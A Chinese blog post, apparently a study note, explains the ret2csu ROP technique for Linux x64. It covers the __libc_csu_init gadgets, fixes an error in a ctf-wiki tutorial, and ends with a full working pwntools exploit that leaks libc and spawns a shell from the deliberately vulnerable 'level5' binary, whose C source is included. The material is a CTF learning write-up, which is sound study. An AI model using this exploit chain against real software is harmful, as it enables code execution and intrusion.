ROP有许多的奇技淫巧,其中一个就是ret2csu。本文记录一下关于利用__lib_csu_init中的两段通用gadget来实现linux x64 ROP的原理,以及实现时遇到的一些问题。说来也巧,最近参考的网上的资料怎么总有问题,之前是Rootkit,现在ROP也是,一调试就是半天无了,有点蛋疼。
ROP技术 常规ROP ROP的话,需要看此文的人应该都已经知道了,大致概括下常规的ROP方式,有下面几个:
ret2text
最简单的就是将溢出的返回地址设置为程序中已有的函数地址执行,二进制程序中如果已经包含我们需要功能的函数就直接用就好了。
ret2shellcode
当二进制程序中不包含我们需要的功能代码时,通过给定的读入数据(read函数)函数注入shellcode到内存,然后将返回地址设置到对应位置开始执行即可。
ret2system
如果程序使用了system,便可以直接利用system的plt表地址调用system,然后构造栈放入“/bin/bash”地址参数即可起一个shell。
ret2libc
通过泄露一个libc内的函数地址,搜索libc版本并根据偏移计算system地址,转为ret2system
搜索libc版本可以成功在于库随机化和栈随机化的粒度为0x1000,也就是说其低12位其实是不会随着aslr开启而发生改变的,利用这低12位就可以对libc版本进行推测。
其他ROP方式 当然,除了上面讲的那些常规方式,剩下的就是一些(是很多很多)骚操作了,其中最主要的有下面几个
ret2csu
ret2reg
通过查找call reg 或者 jmp reg指令,让reg指向溢出的空间,调用这些指令进行ROP
ret2_dl_runtime_resolve
利用延迟绑定使用的函数dl_runtime_resolve来进行ROP
其他的
注入BROP,SROP等等就太复杂了,这些分给你我点了。
本文主要关注点在于ret2csu,我参考的是ctf-wiki 的这部分觉得没啥的,不过调试的时候直接给我一天干没了,这个博客写的还是有点问题的,也许是我领悟力不够吧。
ret2csu 说问题之前先讲下ret2csu的原理。ret2csu中用到的核心部分其实是__lib_csu_init
中的两段gadget。关于这个__lib_csu_init
,本想看下它是干啥的,但查了下基本都在讲其中的gadget,甚至都查不到它为啥出现,这里我姑且猜一下,应该是调用main,也就是二进制程序进入main之前的过程中需要用到的一个函数(如果不是这样,也不一定会出现在二进制文件中是吧)。
首先需要明确,ret2csu是一种x64 linux中经常用到的ROP技术,先说一下x64架构下函数调用的传参规则。与x86不同,x64下传参优先在寄存器进行,参数1-6依次放入rdi,rsi,rdx,rcx,r8,r9,其他多出的参数压入栈中传递。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 .text:00000000004005C0 ; void _libc_csu_init(void) .text:00000000004005C0 public __libc_csu_init .text:00000000004005C0 __libc_csu_init proc near ; DATA XREF: _start+16o .text:00000000004005C0 push r15 .text:00000000004005C2 push r14 .text:00000000004005C4 mov r15d, edi .text:00000000004005C7 push r13 .text:00000000004005C9 push r12 .text:00000000004005CB lea r12, __frame_dummy_init_array_entry .text:00000000004005D2 push rbp .text:00000000004005D3 lea rbp, __do_global_dtors_aux_fini_array_entry .text:00000000004005DA push rbx .text:00000000004005DB mov r14, rsi .text:00000000004005DE mov r13, rdx .text:00000000004005E1 sub rbp, r12 .text:00000000004005E4 sub rsp, 8 .text:00000000004005E8 sar rbp, 3 .text:00000000004005EC call _init_proc .text:00000000004005F1 test rbp, rbp .text:00000000004005F4 jz short loc_400616 .text:00000000004005F6 xor ebx, ebx .text:00000000004005F8 nop dword ptr [rax+rax+00000000h] .text:0000000000400600 .text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54j .text:0000000000400600 mov rdx, r13 .text:0000000000400603 mov rsi, r14 .text:0000000000400606 mov edi, r15d .text:0000000000400609 call qword ptr [r12+rbx*8] .text:000000000040060D add rbx, 1 .text:0000000000400611 cmp rbx, rbp .text:0000000000400614 jnz short loc_400600 .text:0000000000400616 .text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34j .text:0000000000400616 add rsp, 8 .text:000000000040061A pop rbx .text:000000000040061B pop rbp .text:000000000040061C pop r12 .text:000000000040061E pop r13 .text:0000000000400620 pop r14 .text:0000000000400622 pop r15 .text:0000000000400624 retn .text:0000000000400624 __libc_csu_init endp
上面是ctf-wiki给出的关于__lib_csu_init
的汇编,可以看到后面部分(loc_400616开始)是一个完美的设置寄存器的gadget,也就是下面这部分
1 2 3 4 5 6 7 8 9 .text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34j .text:0000000000400616 add rsp, 8 .text:000000000040061A pop rbx .text:000000000040061B pop rbp .text:000000000040061C pop r12 .text:000000000040061E pop r13 .text:0000000000400620 pop r14 .text:0000000000400622 pop r15 .text:0000000000400624 retn
但是这部分虽然用栈值设置了很多寄存器,但是却没有参数寄存器,想调用还需要另一段的配合,就是它上面那段
1 2 3 4 5 6 7 8 9 .text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54j .text:0000000000400600 mov rdx, r13 .text:0000000000400603 mov rsi, r14 .text:0000000000400606 mov edi, r15d .text:0000000000400609 call qword ptr [r12+rbx*8] .text:000000000040060D add rbx, 1 .text:0000000000400611 cmp rbx, rbp .text:0000000000400614 jnz short loc_400600 .text:0000000000400616
利用这两段gadget,我们可以通过栈上数据控制的寄存器有rbx,rbp,r12,r13,r14,r15,rdx,rsi,edi这些,对于ROP一般最多使用三个参数的情况足以。借助这两段gadget可以将栈上安排的数据传递至需要的寄存器,如下
参数1:栈→r15→r15d→edi(看上去好像只能控制低32位,其实这时候rdi高位本就是0)
参数2:栈→r14→rsi
参数3:栈→r13→rdx
除此之外,第二段gadget后面的call qword ptr [r12+rbx*8]
可以成功的实现一个函数调用过程,只需要把函数地址放入r12,再把rbx设置为0,之后将rbp设为1可以防止进入这个gadget的循环,可谓是一个完美的ROP gadget。
ret2csu 一些问题 前面这部分原理其实就是ctf-wiki界面所讲的,我只是理解后做了个转述。下面是针对其给出的demo在实验时的一个问题。给的demo结构很简单
1 2 3 4 5 6 7 8 9 10 11 12 ssize_t vulnerable_function() { char buf; // [rsp+0h] [rbp-80h] return read(0, &buf, 0x200uLL); //←overflow } int __cdecl main(int argc, const char **argv, const char **envp) { write(1, "Hello, World\n", 0xDuLL); return vulnerable_function(); }
一个基本的read导致的栈溢出,难点在于既没有system,也没有”/bin/sh”,更没有栈可执行,这里采用ret2csu,明面上的惯性思路是
泄露write地址查libc版本以及libc地址
计算system地址,找libc中”/bin/sh”字符串地址做参数。
跳转到它即可
上面思路第一个最明显的问题就在这儿,首先libc地址很高,所以搜索到的字符串地址必然是有高32位的,所以直接从libc拿/bin/sh是不可行的,需要将/bin/sh注入到内存使用,这里注入位置选bss段就行。
另一个问题就是我所说的这个教程的一点问题了,首先在ida下可以看到demo文件(github库里下的,如果是他人重编译的那我当场道歉)的__lib_csu_init
很明显已经不一样了,变成了下面这样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 .text:00000000004005A0 ; void _libc_csu_init(void) .text:00000000004005A0 public __libc_csu_init .text:00000000004005A0 __libc_csu_init proc near ; DATA XREF: _start+16↑o .text:00000000004005A0 .text:00000000004005A0 var_30 = qword ptr -30h .text:00000000004005A0 var_28 = qword ptr -28h .text:00000000004005A0 var_20 = qword ptr -20h .text:00000000004005A0 var_18 = qword ptr -18h .text:00000000004005A0 var_10 = qword ptr -10h .text:00000000004005A0 var_8 = qword ptr -8 .text:00000000004005A0 .text:00000000004005A0 ; __unwind { .text:00000000004005A0 mov [rsp+var_28], rbp .text:00000000004005A5 mov [rsp+var_20], r12 .text:00000000004005AA lea rbp, cs:600E24h .text:00000000004005B1 lea r12, cs:600E24h .text:00000000004005B8 mov [rsp+var_18], r13 .text:00000000004005BD mov [rsp+var_10], r14 .text:00000000004005C2 mov [rsp+var_8], r15 .text:00000000004005C7 mov [rsp+var_30], rbx .text:00000000004005CC sub rsp, 38h .text:00000000004005D0 sub rbp, r12 .text:00000000004005D3 mov r13d, edi .text:00000000004005D6 mov r14, rsi .text:00000000004005D9 sar rbp, 3 .text:00000000004005DD mov r15, rdx .text:00000000004005E0 call _init_proc .text:00000000004005E5 test rbp, rbp .text:00000000004005E8 jz short loc_400606 .text:00000000004005EA xor ebx, ebx .text:00000000004005EC nop dword ptr [rax+00h] .text:00000000004005F0 .text:00000000004005F0 loc_4005F0: ; CODE XREF: __libc_csu_init+64↓j .text:00000000004005F0 mov rdx, r15 .text:00000000004005F3 mov rsi, r14 .text:00000000004005F6 mov edi, r13d .text:00000000004005F9 call qword ptr [r12+rbx*8] .text:00000000004005FD add rbx, 1 .text:0000000000400601 cmp rbx, rbp .text:0000000000400604 jnz short loc_4005F0 .text:0000000000400606 .text:0000000000400606 loc_400606: ; CODE XREF: __libc_csu_init+48↑j .text:0000000000400606 mov rbx, [rsp+38h+var_30] .text:000000000040060B mov rbp, [rsp+38h+var_28] .text:0000000000400610 mov r12, [rsp+38h+var_20] .text:0000000000400615 mov r13, [rsp+38h+var_18] .text:000000000040061A mov r14, [rsp+38h+var_10] .text:000000000040061F mov r15, [rsp+38h+var_8] .text:0000000000400624 add rsp, 38h .text:0000000000400628 retn .text:0000000000400628 ; } // starts at 4005A0 .text:0000000000400628 __libc_csu_init endp
问题所在loc_400606,传值给寄存器的方式已经不再是pop了,而采用了mov,这就导致了栈布局需要做微调。rbx作为第一个被传值的寄存器,其值现在不再位于栈顶了,而是位于栈顶向下的第二个8字节,这很重要,所以正确的payload的形式应该是下面这样
1 2 3 def csu(rbx, rbp, r12, r13, r14, r15, last): payload = flat(['a'*0x80,'b'*8,p64(csu_2_addr),'a'*8,p64(rbx),p64(rbp),p64(r12),p64(r13),p64(r14),p64(r15),p64(csu_1_addr),'a'*0x38,p64(last)]) p.sendline(payload)
尽管通过调试解决了这个问题,另一个问题我还没有解决。整个流程中需要至少三次ret2csu过程
执行write来泄露write地址
读入/bin/sh
执行system
根据上面定义的csu,三次的调用分别为
泄露write地址
csu(0,1,write_got,1,write_got,8,main_addr)
读入/bin/sh
csu(0,1,read_got,0,bss_base,16,main_addr)
执行system(“/bin/sh”)
csu(0,1,libc_sys,bss_base,0,0,main_addr)
但是跑脚本的时候发现前两次都是正常执行,第三次会出现返回地址错误,目前还不清楚是为什么,之后再调试看看吧……
终于发现问题了,淦,这是call指令,不能直接给system地址,需要的是存放system地址的内存地址。这里需要把system地址和”/bin/sh”均读入bss段。
泄露write地址
csu(0,1,write_got,1,write_got,8,main_addr)
读入/bin/sh
csu(0,1,read_got,0,bss_base,16,main_addr)
执行system(“/bin/sh”)
csu(0,1,bss_base,bss_base+8,0,0,main_addr)
以及第二次读入system地址和binsh字符串时多了个”\n”被第三次时的read读进去导致偏移多了一个字节,我去了……
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import * from LibcSearcher import * context.log_level = 'debug' p = process("./level5") elf = ELF("./level5") csu_1_addr = 0x00000000004005f0 csu_2_addr = 0x0000000000400606 write_got = elf.got["write"] read_got = elf.got["read"] main_addr = elf.symbols["main"] bss_base = elf.bss() def csu(rbx, rbp, r12, r13, r14, r15, last): pld = ['a'*0x80,'b'*8,p64(csu_2_addr),'\x00'*8,p64(rbx),p64(rbp),p64(r12),p64(r13),p64(r14),p64(r15),p64(csu_1_addr),'\x00'*0x38,p64(last)] payload = flat(pld) p.sendline(payload) p.recvuntil("World\n") csu(0,1,write_got,1,write_got,8,main_addr) sleep(1) libc_write = u64(p.recv(8)) libc = LibcSearcher("write",libc_write) libc_base = libc_write - libc.dump("write") libc_sys = libc_base + libc.dump("system") p.recvuntil("World\n") csu(0,1,read_got,0,bss_base,16,main_addr) sleep(1) #pause() p.send(flat([p64(libc_sys),'/bin/sh\x00'])) p.recvuntil('Hello, World\n') csu(0,1,bss_base,bss_base+8,0,0,main_addr) p.interactive()
完整脚本如上,题目如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 #!c #include <stdio.h> #include <stdlib.h> #include <unistd.h> void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 512); } int main(int argc, char** argv) { write(STDOUT_FILENO, "Hello, World\n", 13); vulnerable_function(); }